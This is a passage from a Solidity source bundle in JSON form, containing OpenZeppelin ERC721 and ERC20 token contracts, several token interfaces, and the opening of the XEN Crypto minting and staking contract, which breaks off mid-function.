@dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n /**\n * @dev See {IERC721-approve}.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not token owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n /**\n * @dev See {IERC721-getApproved}.\n */\n function getApproved(uint256 tokenId) public view virtual override returns (address) {\n _requireMinted(tokenId);\n\n return _tokenApprovals[tokenId];\n }\n\n /**\n * @dev See {IERC721-setApprovalForAll}.\n */\n function setApprovalForAll(address operator, bool approved) public virtual override {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n /**\n * @dev See {IERC721-isApprovedForAll}.\n */\n function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev See {IERC721-transferFrom}.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n //solhint-disable-next-line max-line-length\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n\n _transfer(from, to, tokenId);\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev See {IERC721-safeTransferFrom}.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public virtual override {\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: caller is not token owner nor approved\");\n _safeTransfer(from, to, tokenId, data);\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * `data` is additional data, it has no specified format and it is sent in call to `to`.\n *\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n * implement alternative mechanisms to perform token transfer, such as signature-based.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _transfer(from, to, tokenId);\n require(_checkOnERC721Received(from, to, tokenId, data), \"ERC721: transfer to non ERC721Receiver implementer\");\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted (`_mint`),\n * and stop existing when they are burned (`_burn`).\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n /**\n * @dev Returns whether `spender` is allowed to manage `tokenId`.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n address owner = ERC721.ownerOf(tokenId);\n return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);\n }\n\n /**\n * @dev Safely mints `tokenId` and transfers it to `to`.\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n /**\n * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n */\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory data\n ) internal virtual {\n _mint(to, tokenId);\n require(\n _checkOnERC721Received(address(0), to, tokenId, data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n /**\n * @dev Mints `tokenId` and transfers it to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n *\n * Requirements:\n *\n * - `tokenId` must not exist.\n * - `to` cannot be the zero address.\n *\n * Emits a {Transfer} event.\n */\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n\n _afterTokenTransfer(address(0), to, tokenId);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n // Clear approvals\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n\n _afterTokenTransfer(owner, address(0), tokenId);\n }\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n * As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n *\n * Emits a {Transfer} event.\n */\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n // Clear approvals from the previous owner\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n _balances[to] += 1;\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfer(from, to, tokenId);\n }\n\n /**\n * @dev Approve `to` to operate on `tokenId`\n *\n * Emits an {Approval} event.\n */\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n /**\n * @dev Approve `operator` to operate on all of `owner` tokens\n *\n * Emits an {ApprovalForAll} event.\n */\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n require(owner != operator, \"ERC721: approve to caller\");\n _operatorApprovals[owner][operator] = approved;\n emit ApprovalForAll(owner, operator, approved);\n }\n\n /**\n * @dev Reverts if the `tokenId` has not been minted yet.\n */\n function _requireMinted(uint256 tokenId) internal view virtual {\n require(_exists(tokenId), \"ERC721: invalid token ID\");\n }\n\n /**\n * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.\n * The call is not executed if the target address is not a contract.\n *\n * @param from address representing the previous owner of the given token ID\n * @param to target address that will receive the tokens\n * @param tokenId uint256 ID of the token to be transferred\n * @param data bytes optional data to send along with the call\n * @return bool whether the call correctly returned the expected magic value\n */\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) private returns (bool) {\n if (to.isContract()) {\n try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\"ERC721: transfer to non ERC721Receiver implementer\");\n } else {\n /// @solidity memory-safe-assembly\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n /**\n * @dev Hook that is called before any token transfer. This includes minting\n * and burning.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, ``from``'s `tokenId` will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 